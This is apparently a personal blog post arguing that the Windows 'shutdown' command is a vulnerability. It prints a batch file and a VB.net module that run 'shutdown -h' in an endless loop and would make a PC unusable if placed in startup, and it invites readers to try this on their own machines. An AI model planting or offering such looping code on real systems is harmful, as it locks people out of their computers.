

Shutdown command a security threat

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**My World Wide Security Patch for Windows 2000/XP/7/8/10/11
32bits/64bits and all Kind of Windows Servers.**

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Introduction

Since 2015 I have contacted Microsoft for a security vulnerability which is a Dos (Disk Operating System) command. For this reason I have written .bat file which exploits this command. But MSRC (Microsoft Security Response Center) consider it as a malware and I must report it like that. I was not agree but I accepted and I reported it as a malware but they did nothing.

Please visit <https://github.com/didipostman/MyVirus>

But let me explain to you the real problem.

The problem

If shutdown command is executed in Windows startup you can not use your Windows PC/Laptop anymore till an expert intervention by booting with a bootable CD/DVD or a system Flash disk and then exploring the startup Windows for a suspicious file that exploit shutdown command and delete it.

Think if the following .bat file is copied in the start up Windows by a Worm

Please visit:

<https://stackoverflow.com/questions/35587412/how-this-batch-worm-works>

<https://engineering.purdue.edu/kak/compsec/NewLectures/Lecture22.pdf>

here I give only concept *Don't use this code whith malicious intention!*

```
-----  
echo off  
  
rem clean screen  
  
cls  
  
rem definition return point  
  
:loop  
  
rem execute shutdown -h  
  
shutdown -h  
  
rem return to :loop  
  
goto loop
```

That kind of code can be hidden in software you use or you download and install in Windows Startup. It works fine for windows 2000/XP/7/8/10/11 etc. Moreover here a VB.net equivalent code to the .bat DOS Shell above A VB.net Source Code as an example It works fine for Windows XP/7/8/10/11.

It is a VB.net Module that can generate .exe file

```
Imports System.Runtime.InteropServices  
  
Module Module1  
  
Sub Main()  
  
Dim process As Process = process.Start("cmd", "/C shutdown -h")  
  
Main()  
  
End Sub
```

As you can see all high generation Languages can exploit this DOS command shutdown -h which leads to a DoS a denial of service well a denial of all the services as your Windows Pc is intact but you can't make use of it.

Conclusion :

What is the solution to avoid this kind of exploit of this DOS command shutdown.

Shall Microsoft Deplicated it or shall keep it assuming security measurements in using it.

The world wide security patch for Windows2000/XP/7/8/10/11 against shutdown vulnerability is to disable shutdown execution on Windows startup. To figure out the problem try to copy myVirus.bat in Windows startup and execute it.

<https://github.com/didipostman/MyVirus>

Shutdown: Allow system to be shut down without having to log on

<https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/shutdown-allow-system-to-be-shut-down-without-having-to-log-on>